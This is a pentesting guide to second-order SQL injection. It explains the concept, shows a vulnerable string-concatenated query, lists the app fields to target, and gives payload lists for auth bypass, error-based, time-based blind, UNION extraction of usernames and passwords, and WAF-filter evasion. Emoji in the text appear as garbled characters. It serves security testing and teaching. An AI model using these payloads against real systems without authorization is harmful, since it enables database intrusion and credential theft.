𧨠Second Order SQL Injection (SO-SQLi) Guide
π‘ What is Second Order SQL Injection?β
Second Order SQL Injection (SO-SQLi) occurs when a malicious SQL payload is submitted and stored (e.g., in a database), and is executed later when the application reuses that data in an unsafe SQL query.
Unlike first-order SQLi, the injection doesnβt happen right away β itβs triggered in a separate step, often in a different part of the application.
βοΈ How It Worksβ
- User submits input that is stored (e.g., during registration or profile update).
- That input is saved without validation.
- Later, the application retrieves and uses the stored data in a SQL query.
- If this query is built unsafely, the injection is triggered.
π§ͺ Example Scenarioβ
Step 1: Malicious User Registersβ
Username: attacker' --
Email: attacker@example.com
Stored in DB as:
INSERT INTO users (username, email) VALUES ('attacker\' --', 'attacker@example.com');
β No error yet β payload is saved.
Step 2: Admin Dashboard Later Uses Usernameβ
# Backend code
query = "SELECT * FROM logs WHERE username = '" + user_from_db + "'"
If user_from_db = attacker' --, this becomes:
SELECT * FROM logs WHERE username = 'attacker' --'
π₯ Query is broken β Injection succeeds.
π Where and How to Test Payloadsβ
| π Application Area | π§ͺ Field to Inject | π£ Why It's Vulnerable | β±οΈ When Injection Triggers |
|---|---|---|---|
| User Registration | username, email | Values stored, reused in logs or admin views | When admin views logs or user profile |
| Profile Update | display name, bio | Reused in dashboards or internal reporting tools | When data is retrieved by another user |
| Feedback/Contact Forms | subject, message | Stored in DB, emailed or inserted into analytics queries | When viewed or processed by admin |
| Support Ticket System | ticket title, details | May be reused in SQL joins, search features | When admin searches or filters tickets |
| Comment Systems | username, comment | Appears in other queries like moderation tools | When moderator queries by username |
π― Tips for Testing SO-SQLiβ
- Inject payloads like
' OR 1=1 --into fields that are stored, not just reflected. - Track where that input reappears later in the app (logs, admin panel, reports).
- Test different delays between storing and triggering (could be minutes or days).
- Use tools like Burp Suite to capture and replay original injection attempts.
- Always check query construction when reviewing source code (if available).
πΉ Classic Authentication Bypassβ
' OR '1'='1
' OR 1=1 --
'--
'#
admin'--
' OR 1=1 LIMIT 1 --
πΉ Error-Based Payloads (to detect execution)β
' AND 1=CONVERT(int, (SELECT @@version))--
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(CHAR(58),@@version,CHAR(58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
πΉ Time-Based Blind SQLi (for delayed triggers)β
' OR SLEEP(5) --
' AND SLEEP(5) --
' WAITFOR DELAY '00:00:05' --
πΉ Union-Based (if data is displayed somewhere)β
' UNION SELECT NULL,NULL,NULL --
' UNION SELECT 1,2,3 --
' UNION SELECT username, password FROM users --
πΉ Obfuscated & Bypassing Filtersβ
%27%20OR%201%3D1--
%27%20UNION%20SELECT%20NULL,NULL--
admin%27%23
admin')--
πΉ Null Byte & Comment Tricksβ
admin%00
admin'/**/OR/**/'1'='1
admin'/**/--
π Bonus: Tamper-Friendly SO-SQLi Payloadsβ
If the app uses WAFs or input filters:
'/*!12345UNION*/ SELECT NULL,NULL --
'/**/OR/**/1=1/**/--
' AND ASCII(SUBSTRING((SELECT database()),1,1)) > 80 --
β Where to Try These Payloadsβ
| Input Type | Good For Testing SO-SQLi? | Example Use Case |
|---|---|---|
Username | β Yes | Reused in admin or logging queries |
Email | β Yes | Used in backend reports or exports |
Bio/Profile Info | β Yes | Shown in user listings or analytics |
Ticket Subject | β Yes | Often filtered, searched, and joined |
Comments/Posts | β Yes | Parsed in dashboards or moderation |